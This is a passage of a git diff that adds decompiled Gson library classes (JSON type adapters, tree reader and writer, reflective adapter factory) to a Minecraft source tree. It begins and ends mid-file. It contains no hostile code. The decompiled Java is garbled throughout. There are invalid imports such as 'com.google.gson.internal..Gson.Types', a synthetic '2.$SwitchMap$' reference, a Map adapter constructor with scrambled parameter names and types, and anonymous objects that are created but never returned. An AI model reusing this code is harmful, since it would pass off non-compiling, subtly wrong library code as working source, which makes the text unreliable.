+        catch (Exception ignored) {}
+      }
+    }
+    new UnsafeAllocator()
+    {
+      public <T> T newInstance(Class<T> c) {
+        throw new UnsupportedOperationException("Cannot allocate " + c);
+      }
+    };
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/ArrayTypeAdapter.java b/src/minecraft/com/google/gson/internal/bind/ArrayTypeAdapter.java
new file mode 100644
index 0000000..dbaddfd
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/ArrayTypeAdapter.java
@@ -0,0 +1,97 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.internal..Gson.Types;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Array;
+import java.lang.reflect.GenericArrayType;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ArrayTypeAdapter<E>
+  extends TypeAdapter<Object>
+{
+  public static final TypeAdapterFactory FACTORY = new TypeAdapterFactory()
+  {
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+      Type type = typeToken.getType();
+      if ((!(type instanceof GenericArrayType)) && ((!(type instanceof Class)) || (!((Class)type).isArray()))) {
+        return null;
+      }
+      
+      Type componentType = .Gson.Types.getArrayComponentType(type);
+      TypeAdapter<?> componentTypeAdapter = gson.getAdapter(TypeToken.get(componentType));
+      return new ArrayTypeAdapter(gson, componentTypeAdapter, .Gson.Types.getRawType(componentType));
+    }
+  };
+  
+  private final Class<E> componentType;
+  private final TypeAdapter<E> componentTypeAdapter;
+  
+  public ArrayTypeAdapter(Gson context, TypeAdapter<E> componentTypeAdapter, Class<E> componentType)
+  {
+    this.componentTypeAdapter = new TypeAdapterRuntimeTypeWrapper(context, componentTypeAdapter, componentType);
+    
+    this.componentType = componentType;
+  }
+  
+  public Object read(JsonReader in) throws IOException {
+    if (in.peek() == JsonToken.NULL) {
+      in.nextNull();
+      return null;
+    }
+    
+    List<E> list = new ArrayList();
+    in.beginArray();
+    while (in.hasNext()) {
+      E instance = componentTypeAdapter.read(in);
+      list.add(instance);
+    }
+    in.endArray();
+    Object array = Array.newInstance(componentType, list.size());
+    for (int i = 0; i < list.size(); i++) {
+      Array.set(array, i, list.get(i));
+    }
+    return array;
+  }
+  
+  public void write(JsonWriter out, Object array) throws IOException
+  {
+    if (array == null) {
+      out.nullValue();
+      return;
+    }
+    
+    out.beginArray();
+    int i = 0; for (int length = Array.getLength(array); i < length; i++) {
+      E value = Array.get(array, i);
+      componentTypeAdapter.write(out, value);
+    }
+    out.endArray();
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/CollectionTypeAdapterFactory.java b/src/minecraft/com/google/gson/internal/bind/CollectionTypeAdapterFactory.java
new file mode 100644
index 0000000..db56191
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/CollectionTypeAdapterFactory.java
@@ -0,0 +1,101 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.internal..Gson.Types;
+import com.google.gson.internal.ConstructorConstructor;
+import com.google.gson.internal.ObjectConstructor;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Type;
+import java.util.Collection;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class CollectionTypeAdapterFactory
+  implements TypeAdapterFactory
+{
+  private final ConstructorConstructor constructorConstructor;
+  
+  public CollectionTypeAdapterFactory(ConstructorConstructor constructorConstructor)
+  {
+    this.constructorConstructor = constructorConstructor;
+  }
+  
+  public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+    Type type = typeToken.getType();
+    
+    Class<? super T> rawType = typeToken.getRawType();
+    if (!Collection.class.isAssignableFrom(rawType)) {
+      return null;
+    }
+    
+    Type elementType = .Gson.Types.getCollectionElementType(type, rawType);
+    TypeAdapter<?> elementTypeAdapter = gson.getAdapter(TypeToken.get(elementType));
+    ObjectConstructor<T> constructor = constructorConstructor.get(typeToken);
+    
+
+    TypeAdapter<T> result = new Adapter(gson, elementType, elementTypeAdapter, constructor);
+    return result;
+  }
+  
+  private static final class Adapter<E> extends TypeAdapter<Collection<E>>
+  {
+    private final TypeAdapter<E> elementTypeAdapter;
+    private final ObjectConstructor<? extends Collection<E>> constructor;
+    
+    public Adapter(Gson context, Type elementType, TypeAdapter<E> elementTypeAdapter, ObjectConstructor<? extends Collection<E>> constructor)
+    {
+      this.elementTypeAdapter = new TypeAdapterRuntimeTypeWrapper(context, elementTypeAdapter, elementType);
+      
+      this.constructor = constructor;
+    }
+    
+    public Collection<E> read(JsonReader in) throws IOException {
+      if (in.peek() == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      Collection<E> collection = (Collection)constructor.construct();
+      in.beginArray();
+      while (in.hasNext()) {
+        E instance = elementTypeAdapter.read(in);
+        collection.add(instance);
+      }
+      in.endArray();
+      return collection;
+    }
+    
+    public void write(JsonWriter out, Collection<E> collection) throws IOException {
+      if (collection == null) {
+        out.nullValue();
+        return;
+      }
+      
+      out.beginArray();
+      for (E element : collection) {
+        elementTypeAdapter.write(out, element);
+      }
+      out.endArray();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/DateTypeAdapter.java b/src/minecraft/com/google/gson/internal/bind/DateTypeAdapter.java
new file mode 100644
index 0000000..4e8bf12
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/DateTypeAdapter.java
@@ -0,0 +1,93 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.text.DateFormat;
+import java.text.ParseException;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class DateTypeAdapter
+  extends TypeAdapter<Date>
+{
+  public static final TypeAdapterFactory FACTORY = new TypeAdapterFactory()
+  {
+
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) { return typeToken.getRawType() == Date.class ? new DateTypeAdapter() : null; } };
+  
+  public DateTypeAdapter() {}
+  
+  private final DateFormat enUsFormat = DateFormat.getDateTimeInstance(2, 2, Locale.US);
+  
+  private final DateFormat localFormat = DateFormat.getDateTimeInstance(2, 2);
+  
+  private final DateFormat iso8601Format = buildIso8601Format();
+  
+  private static DateFormat buildIso8601Format() {
+    DateFormat iso8601Format = new SimpleDateFormat("yyyy-MM-dd'T'HH:mm:ss'Z'", Locale.US);
+    iso8601Format.setTimeZone(TimeZone.getTimeZone("UTC"));
+    return iso8601Format;
+  }
+  
+  public Date read(JsonReader in) throws IOException {
+    if (in.peek() == JsonToken.NULL) {
+      in.nextNull();
+      return null;
+    }
+    return deserializeToDate(in.nextString());
+  }
+  
+  private synchronized Date deserializeToDate(String json) {
+    try {
+      return localFormat.parse(json);
+    }
+    catch (ParseException ignored) {
+      try {
+        return enUsFormat.parse(json);
+      }
+      catch (ParseException ignored) {
+        try {
+          return iso8601Format.parse(json);
+        } catch (ParseException e) {
+          throw new JsonSyntaxException(json, e);
+        }
+      }
+    } }
+  
+  public synchronized void write(JsonWriter out, Date value) throws IOException { if (value == null) {
+      out.nullValue();
+      return;
+    }
+    String dateFormatAsString = enUsFormat.format(value);
+    out.value(dateFormatAsString);
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/JsonTreeReader.java b/src/minecraft/com/google/gson/internal/bind/JsonTreeReader.java
new file mode 100644
index 0000000..3f08bfd
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/JsonTreeReader.java
@@ -0,0 +1,226 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonNull;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import java.io.IOException;
+import java.io.Reader;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonTreeReader
+  extends JsonReader
+{
+  private static final Reader UNREADABLE_READER = new Reader() {
+    public int read(char[] buffer, int offset, int count) throws IOException {
+      throw new AssertionError();
+    }
+    
+    public void close() throws IOException { throw new AssertionError(); }
+  };
+  
+  private static final Object SENTINEL_CLOSED = new Object();
+  
+  private final List<Object> stack = new ArrayList();
+  
+  public JsonTreeReader(JsonElement element) {
+    super(UNREADABLE_READER);
+    stack.add(element);
+  }
+  
+  public void beginArray() throws IOException {
+    expect(JsonToken.BEGIN_ARRAY);
+    JsonArray array = (JsonArray)peekStack();
+    stack.add(array.iterator());
+  }
+  
+  public void endArray() throws IOException {
+    expect(JsonToken.END_ARRAY);
+    popStack();
+    popStack();
+  }
+  
+  public void beginObject() throws IOException {
+    expect(JsonToken.BEGIN_OBJECT);
+    JsonObject object = (JsonObject)peekStack();
+    stack.add(object.entrySet().iterator());
+  }
+  
+  public void endObject() throws IOException {
+    expect(JsonToken.END_OBJECT);
+    popStack();
+    popStack();
+  }
+  
+  public boolean hasNext() throws IOException {
+    JsonToken token = peek();
+    return (token != JsonToken.END_OBJECT) && (token != JsonToken.END_ARRAY);
+  }
+  
+  public JsonToken peek() throws IOException {
+    if (stack.isEmpty()) {
+      return JsonToken.END_DOCUMENT;
+    }
+    
+    Object o = peekStack();
+    if ((o instanceof Iterator)) {
+      boolean isObject = stack.get(stack.size() - 2) instanceof JsonObject;
+      Iterator<?> iterator = (Iterator)o;
+      if (iterator.hasNext()) {
+        if (isObject) {
+          return JsonToken.NAME;
+        }
+        stack.add(iterator.next());
+        return peek();
+      }
+      
+      return isObject ? JsonToken.END_OBJECT : JsonToken.END_ARRAY;
+    }
+    if ((o instanceof JsonObject))
+      return JsonToken.BEGIN_OBJECT;
+    if ((o instanceof JsonArray))
+      return JsonToken.BEGIN_ARRAY;
+    if ((o instanceof JsonPrimitive)) {
+      JsonPrimitive primitive = (JsonPrimitive)o;
+      if (primitive.isString())
+        return JsonToken.STRING;
+      if (primitive.isBoolean())
+        return JsonToken.BOOLEAN;
+      if (primitive.isNumber()) {
+        return JsonToken.NUMBER;
+      }
+      throw new AssertionError();
+    }
+    if ((o instanceof JsonNull))
+      return JsonToken.NULL;
+    if (o == SENTINEL_CLOSED) {
+      throw new IllegalStateException("JsonReader is closed");
+    }
+    throw new AssertionError();
+  }
+  
+  private Object peekStack()
+  {
+    return stack.get(stack.size() - 1);
+  }
+  
+  private Object popStack() {
+    return stack.remove(stack.size() - 1);
+  }
+  
+  private void expect(JsonToken expected) throws IOException {
+    if (peek() != expected) {
+      throw new IllegalStateException("Expected " + expected + " but was " + peek());
+    }
+  }
+  
+  public String nextName() throws IOException {
+    expect(JsonToken.NAME);
+    Iterator<?> i = (Iterator)peekStack();
+    Map.Entry<?, ?> entry = (Map.Entry)i.next();
+    stack.add(entry.getValue());
+    return (String)entry.getKey();
+  }
+  
+  public String nextString() throws IOException {
+    JsonToken token = peek();
+    if ((token != JsonToken.STRING) && (token != JsonToken.NUMBER)) {
+      throw new IllegalStateException("Expected " + JsonToken.STRING + " but was " + token);
+    }
+    return ((JsonPrimitive)popStack()).getAsString();
+  }
+  
+  public boolean nextBoolean() throws IOException {
+    expect(JsonToken.BOOLEAN);
+    return ((JsonPrimitive)popStack()).getAsBoolean();
+  }
+  
+  public void nextNull() throws IOException {
+    expect(JsonToken.NULL);
+    popStack();
+  }
+  
+  public double nextDouble() throws IOException {
+    JsonToken token = peek();
+    if ((token != JsonToken.NUMBER) && (token != JsonToken.STRING)) {
+      throw new IllegalStateException("Expected " + JsonToken.NUMBER + " but was " + token);
+    }
+    double result = ((JsonPrimitive)peekStack()).getAsDouble();
+    if ((!isLenient()) && ((Double.isNaN(result)) || (Double.isInfinite(result)))) {
+      throw new NumberFormatException("JSON forbids NaN and infinities: " + result);
+    }
+    popStack();
+    return result;
+  }
+  
+  public long nextLong() throws IOException {
+    JsonToken token = peek();
+    if ((token != JsonToken.NUMBER) && (token != JsonToken.STRING)) {
+      throw new IllegalStateException("Expected " + JsonToken.NUMBER + " but was " + token);
+    }
+    long result = ((JsonPrimitive)peekStack()).getAsLong();
+    popStack();
+    return result;
+  }
+  
+  public int nextInt() throws IOException {
+    JsonToken token = peek();
+    if ((token != JsonToken.NUMBER) && (token != JsonToken.STRING)) {
+      throw new IllegalStateException("Expected " + JsonToken.NUMBER + " but was " + token);
+    }
+    int result = ((JsonPrimitive)peekStack()).getAsInt();
+    popStack();
+    return result;
+  }
+  
+  public void close() throws IOException {
+    stack.clear();
+    stack.add(SENTINEL_CLOSED);
+  }
+  
+  public void skipValue() throws IOException {
+    if (peek() == JsonToken.NAME) {
+      nextName();
+    } else {
+      popStack();
+    }
+  }
+  
+  public String toString() {
+    return getClass().getSimpleName();
+  }
+  
+  public void promoteNameToValue() throws IOException {
+    expect(JsonToken.NAME);
+    Iterator<?> i = (Iterator)peekStack();
+    Map.Entry<?, ?> entry = (Map.Entry)i.next();
+    stack.add(entry.getValue());
+    stack.add(new JsonPrimitive((String)entry.getKey()));
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/JsonTreeWriter.java b/src/minecraft/com/google/gson/internal/bind/JsonTreeWriter.java
new file mode 100644
index 0000000..c9325e1
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/JsonTreeWriter.java
@@ -0,0 +1,200 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.JsonArray;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonNull;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.io.Writer;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class JsonTreeWriter
+  extends JsonWriter
+{
+  private static final Writer UNWRITABLE_WRITER = new Writer() {
+    public void write(char[] buffer, int offset, int counter) {
+      throw new AssertionError();
+    }
+    
+    public void flush() throws IOException { throw new AssertionError(); }
+    
+    public void close() throws IOException {
+      throw new AssertionError();
+    }
+  };
+  
+  private static final JsonPrimitive SENTINEL_CLOSED = new JsonPrimitive("closed");
+  
+
+  private final List<JsonElement> stack = new ArrayList();
+  
+
+  private String pendingName;
+  
+
+  private JsonElement product = JsonNull.INSTANCE;
+  
+  public JsonTreeWriter() {
+    super(UNWRITABLE_WRITER);
+  }
+  
+
+
+  public JsonElement get()
+  {
+    if (!stack.isEmpty()) {
+      throw new IllegalStateException("Expected one JSON element but was " + stack);
+    }
+    return product;
+  }
+  
+  private JsonElement peek() {
+    return (JsonElement)stack.get(stack.size() - 1);
+  }
+  
+  private void put(JsonElement value) {
+    if (pendingName != null) {
+      if ((!value.isJsonNull()) || (getSerializeNulls())) {
+        JsonObject object = (JsonObject)peek();
+        object.add(pendingName, value);
+      }
+      pendingName = null;
+    } else if (stack.isEmpty()) {
+      product = value;
+    } else {
+      JsonElement element = peek();
+      if ((element instanceof JsonArray)) {
+        ((JsonArray)element).add(value);
+      } else {
+        throw new IllegalStateException();
+      }
+    }
+  }
+  
+  public JsonWriter beginArray() throws IOException {
+    JsonArray array = new JsonArray();
+    put(array);
+    stack.add(array);
+    return this;
+  }
+  
+  public JsonWriter endArray() throws IOException {
+    if ((stack.isEmpty()) || (pendingName != null)) {
+      throw new IllegalStateException();
+    }
+    JsonElement element = peek();
+    if ((element instanceof JsonArray)) {
+      stack.remove(stack.size() - 1);
+      return this;
+    }
+    throw new IllegalStateException();
+  }
+  
+  public JsonWriter beginObject() throws IOException {
+    JsonObject object = new JsonObject();
+    put(object);
+    stack.add(object);
+    return this;
+  }
+  
+  public JsonWriter endObject() throws IOException {
+    if ((stack.isEmpty()) || (pendingName != null)) {
+      throw new IllegalStateException();
+    }
+    JsonElement element = peek();
+    if ((element instanceof JsonObject)) {
+      stack.remove(stack.size() - 1);
+      return this;
+    }
+    throw new IllegalStateException();
+  }
+  
+  public JsonWriter name(String name) throws IOException {
+    if ((stack.isEmpty()) || (pendingName != null)) {
+      throw new IllegalStateException();
+    }
+    JsonElement element = peek();
+    if ((element instanceof JsonObject)) {
+      pendingName = name;
+      return this;
+    }
+    throw new IllegalStateException();
+  }
+  
+  public JsonWriter value(String value) throws IOException {
+    if (value == null) {
+      return nullValue();
+    }
+    put(new JsonPrimitive(value));
+    return this;
+  }
+  
+  public JsonWriter nullValue() throws IOException {
+    put(JsonNull.INSTANCE);
+    return this;
+  }
+  
+  public JsonWriter value(boolean value) throws IOException {
+    put(new JsonPrimitive(Boolean.valueOf(value)));
+    return this;
+  }
+  
+  public JsonWriter value(double value) throws IOException {
+    if ((!isLenient()) && ((Double.isNaN(value)) || (Double.isInfinite(value)))) {
+      throw new IllegalArgumentException("JSON forbids NaN and infinities: " + value);
+    }
+    put(new JsonPrimitive(Double.valueOf(value)));
+    return this;
+  }
+  
+  public JsonWriter value(long value) throws IOException {
+    put(new JsonPrimitive(Long.valueOf(value)));
+    return this;
+  }
+  
+  public JsonWriter value(Number value) throws IOException {
+    if (value == null) {
+      return nullValue();
+    }
+    
+    if (!isLenient()) {
+      double d = value.doubleValue();
+      if ((Double.isNaN(d)) || (Double.isInfinite(d))) {
+        throw new IllegalArgumentException("JSON forbids NaN and infinities: " + value);
+      }
+    }
+    
+    put(new JsonPrimitive(value));
+    return this;
+  }
+  
+  public void flush() throws IOException
+  {}
+  
+  public void close() throws IOException {
+    if (!stack.isEmpty()) {
+      throw new IOException("Incomplete document");
+    }
+    stack.add(SENTINEL_CLOSED);
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/MapTypeAdapterFactory.java b/src/minecraft/com/google/gson/internal/bind/MapTypeAdapterFactory.java
new file mode 100644
index 0000000..ac40f94
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/MapTypeAdapterFactory.java
@@ -0,0 +1,263 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonElement;
+import com.google.gson.JsonPrimitive;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.internal..Gson.Types;
+import com.google.gson.internal.ConstructorConstructor;
+import com.google.gson.internal.JsonReaderInternalAccess;
+import com.google.gson.internal.ObjectConstructor;
+import com.google.gson.internal.Streams;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class MapTypeAdapterFactory
+  implements TypeAdapterFactory
+{
+  private final ConstructorConstructor constructorConstructor;
+  private final boolean complexMapKeySerialization;
+  
+  public MapTypeAdapterFactory(ConstructorConstructor constructorConstructor, boolean complexMapKeySerialization)
+  {
+    this.constructorConstructor = constructorConstructor;
+    this.complexMapKeySerialization = complexMapKeySerialization;
+  }
+  
+  public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> typeToken) {
+    Type type = typeToken.getType();
+    
+    Class<? super T> rawType = typeToken.getRawType();
+    if (!Map.class.isAssignableFrom(rawType)) {
+      return null;
+    }
+    
+    Class<?> rawTypeOfSrc = .Gson.Types.getRawType(type);
+    Type[] keyAndValueTypes = .Gson.Types.getMapKeyAndValueTypes(type, rawTypeOfSrc);
+    TypeAdapter<?> keyAdapter = getKeyAdapter(gson, keyAndValueTypes[0]);
+    TypeAdapter<?> valueAdapter = gson.getAdapter(TypeToken.get(keyAndValueTypes[1]));
+    ObjectConstructor<T> constructor = constructorConstructor.get(typeToken);
+    
+
+
+    TypeAdapter<T> result = new Adapter(gson, keyAndValueTypes[0], keyAdapter, keyAndValueTypes[1], valueAdapter, constructor);
+    
+    return result;
+  }
+  
+
+
+  private TypeAdapter<?> getKeyAdapter(Gson context, Type keyType)
+  {
+    return (keyType == Boolean.TYPE) || (keyType == Boolean.class) ? TypeAdapters.BOOLEAN_AS_STRING : context.getAdapter(TypeToken.get(keyType));
+  }
+  
+
+  private final class Adapter<K, V>
+    extends TypeAdapter<Map<K, V>>
+  {
+    private final TypeAdapter<K> keyTypeAdapter;
+    private final TypeAdapter<V> valueTypeAdapter;
+    private final ObjectConstructor<? extends Map<K, V>> constructor;
+    
+    public Adapter(Type context, TypeAdapter<K> keyType, Type keyTypeAdapter, TypeAdapter<V> valueType, ObjectConstructor<? extends Map<K, V>> valueTypeAdapter)
+    {
+      this.keyTypeAdapter = new TypeAdapterRuntimeTypeWrapper(context, keyTypeAdapter, keyType);
+      
+      this.valueTypeAdapter = new TypeAdapterRuntimeTypeWrapper(context, valueTypeAdapter, valueType);
+      
+      this.constructor = constructor;
+    }
+    
+    public Map<K, V> read(JsonReader in) throws IOException {
+      JsonToken peek = in.peek();
+      if (peek == JsonToken.NULL) {
+        in.nextNull();
+        return null;
+      }
+      
+      Map<K, V> map = (Map)constructor.construct();
+      
+      if (peek == JsonToken.BEGIN_ARRAY) {
+        in.beginArray();
+        while (in.hasNext()) {
+          in.beginArray();
+          K key = keyTypeAdapter.read(in);
+          V value = valueTypeAdapter.read(in);
+          V replaced = map.put(key, value);
+          if (replaced != null) {
+            throw new JsonSyntaxException("duplicate key: " + key);
+          }
+          in.endArray();
+        }
+        in.endArray();
+      } else {
+        in.beginObject();
+        while (in.hasNext()) {
+          JsonReaderInternalAccess.INSTANCE.promoteNameToValue(in);
+          K key = keyTypeAdapter.read(in);
+          V value = valueTypeAdapter.read(in);
+          V replaced = map.put(key, value);
+          if (replaced != null) {
+            throw new JsonSyntaxException("duplicate key: " + key);
+          }
+        }
+        in.endObject();
+      }
+      return map;
+    }
+    
+    public void write(JsonWriter out, Map<K, V> map) throws IOException {
+      if (map == null) {
+        out.nullValue();
+        return;
+      }
+      
+      if (!complexMapKeySerialization) {
+        out.beginObject();
+        for (Map.Entry<K, V> entry : map.entrySet()) {
+          out.name(String.valueOf(entry.getKey()));
+          valueTypeAdapter.write(out, entry.getValue());
+        }
+        out.endObject();
+        return;
+      }
+      
+      boolean hasComplexKeys = false;
+      List<JsonElement> keys = new ArrayList(map.size());
+      
+      List<V> values = new ArrayList(map.size());
+      for (Map.Entry<K, V> entry : map.entrySet()) {
+        JsonElement keyElement = keyTypeAdapter.toJsonTree(entry.getKey());
+        keys.add(keyElement);
+        values.add(entry.getValue());
+        hasComplexKeys |= ((keyElement.isJsonArray()) || (keyElement.isJsonObject()));
+      }
+      
+      if (hasComplexKeys) {
+        out.beginArray();
+        for (int i = 0; i < keys.size(); i++) {
+          out.beginArray();
+          Streams.write((JsonElement)keys.get(i), out);
+          valueTypeAdapter.write(out, values.get(i));
+          out.endArray();
+        }
+        out.endArray();
+      } else {
+        out.beginObject();
+        for (int i = 0; i < keys.size(); i++) {
+          JsonElement keyElement = (JsonElement)keys.get(i);
+          out.name(keyToString(keyElement));
+          valueTypeAdapter.write(out, values.get(i));
+        }
+        out.endObject();
+      }
+    }
+    
+    private String keyToString(JsonElement keyElement) {
+      if (keyElement.isJsonPrimitive()) {
+        JsonPrimitive primitive = keyElement.getAsJsonPrimitive();
+        if (primitive.isNumber())
+          return String.valueOf(primitive.getAsNumber());
+        if (primitive.isBoolean())
+          return Boolean.toString(primitive.getAsBoolean());
+        if (primitive.isString()) {
+          return primitive.getAsString();
+        }
+        throw new AssertionError();
+      }
+      if (keyElement.isJsonNull()) {
+        return "null";
+      }
+      throw new AssertionError();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/ObjectTypeAdapter.java b/src/minecraft/com/google/gson/internal/bind/ObjectTypeAdapter.java
new file mode 100644
index 0000000..a0e4231
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/ObjectTypeAdapter.java
@@ -0,0 +1,109 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.Gson;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.internal.LinkedTreeMap;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ObjectTypeAdapter
+  extends TypeAdapter<Object>
+{
+  public static final TypeAdapterFactory FACTORY = new TypeAdapterFactory()
+  {
+    public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> type) {
+      if (type.getRawType() == Object.class) {
+        return new ObjectTypeAdapter(gson, null);
+      }
+      return null;
+    }
+  };
+  private final Gson gson;
+  
+  private ObjectTypeAdapter(Gson gson)
+  {
+    this.gson = gson;
+  }
+  
+  public Object read(JsonReader in) throws IOException {
+    JsonToken token = in.peek();
+    switch (2.$SwitchMap$com$google$gson$stream$JsonToken[token.ordinal()]) {
+    case 1: 
+      List<Object> list = new ArrayList();
+      in.beginArray();
+      while (in.hasNext()) {
+        list.add(read(in));
+      }
+      in.endArray();
+      return list;
+    
+    case 2: 
+      Map<String, Object> map = new LinkedTreeMap();
+      in.beginObject();
+      while (in.hasNext()) {
+        map.put(in.nextName(), read(in));
+      }
+      in.endObject();
+      return map;
+    
+    case 3: 
+      return in.nextString();
+    
+    case 4: 
+      return Double.valueOf(in.nextDouble());
+    
+    case 5: 
+      return Boolean.valueOf(in.nextBoolean());
+    
+    case 6: 
+      in.nextNull();
+      return null;
+    }
+    
+    throw new IllegalStateException();
+  }
+  
+  public void write(JsonWriter out, Object value)
+    throws IOException
+  {
+    if (value == null) {
+      out.nullValue();
+      return;
+    }
+    
+    TypeAdapter<Object> typeAdapter = gson.getAdapter(value.getClass());
+    if ((typeAdapter instanceof ObjectTypeAdapter)) {
+      out.beginObject();
+      out.endObject();
+      return;
+    }
+    
+    typeAdapter.write(out, value);
+  }
+}
diff --git a/src/minecraft/com/google/gson/internal/bind/ReflectiveTypeAdapterFactory.java b/src/minecraft/com/google/gson/internal/bind/ReflectiveTypeAdapterFactory.java
new file mode 100644
index 0000000..fcad55a
--- /dev/null
+++ b/src/minecraft/com/google/gson/internal/bind/ReflectiveTypeAdapterFactory.java
@@ -0,0 +1,204 @@
+package com.google.gson.internal.bind;
+
+import com.google.gson.FieldNamingStrategy;
+import com.google.gson.Gson;
+import com.google.gson.JsonSyntaxException;
+import com.google.gson.TypeAdapter;
+import com.google.gson.TypeAdapterFactory;
+import com.google.gson.annotations.SerializedName;
+import com.google.gson.internal..Gson.Types;
+import com.google.gson.internal.ConstructorConstructor;
+import com.google.gson.internal.Excluder;
+import com.google.gson.internal.ObjectConstructor;
+import com.google.gson.internal.Primitives;
+import com.google.gson.reflect.TypeToken;
+import com.google.gson.stream.JsonReader;
+import com.google.gson.stream.JsonToken;
+import com.google.gson.stream.JsonWriter;
+import java.io.IOException;
+import java.lang.reflect.Field;
+import java.lang.reflect.Type;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ReflectiveTypeAdapterFactory
+  implements TypeAdapterFactory
+{
+  private final ConstructorConstructor constructorConstructor;
+  private final FieldNamingStrategy fieldNamingPolicy;
+  private final Excluder excluder;
+  
+  public ReflectiveTypeAdapterFactory(ConstructorConstructor constructorConstructor, FieldNamingStrategy fieldNamingPolicy, Excluder excluder)
+  {
+    this.constructorConstructor = constructorConstructor;
+    this.fieldNamingPolicy = fieldNamingPolicy;
+    this.excluder = excluder;
+  }
+  
+  public boolean excludeField(Field f, boolean serialize) {
+    return (!excluder.excludeClass(f.getType(), serialize)) && (!excluder.excludeField(f, serialize));
+  }
+  
+  private String getFieldName(Field f) {
+    SerializedName serializedName = (SerializedName)f.getAnnotation(SerializedName.class);
+    return serializedName == null ? fieldNamingPolicy.translateName(f) : serializedName.value();
+  }
+  
+  public <T> TypeAdapter<T> create(Gson gson, TypeToken<T> type) {
+    Class<? super T> raw = type.getRawType();
+    
+    if (!Object.class.isAssignableFrom(raw)) {
+      return null;
+    }
+    
+    ObjectConstructor<T> constructor = constructorConstructor.get(type);
+    return new Adapter(constructor, getBoundFields(gson, type, raw), null);
+  }
+  
+
+  private BoundField createBoundField(final Gson context, final Field field, String name, final TypeToken<?> fieldType, boolean serialize, boolean deserialize)
+  {
+    final boolean isPrimitive = Primitives.isPrimitive(fieldType.getRawType());
+    
+
+    new BoundField(name, serialize, deserialize) {
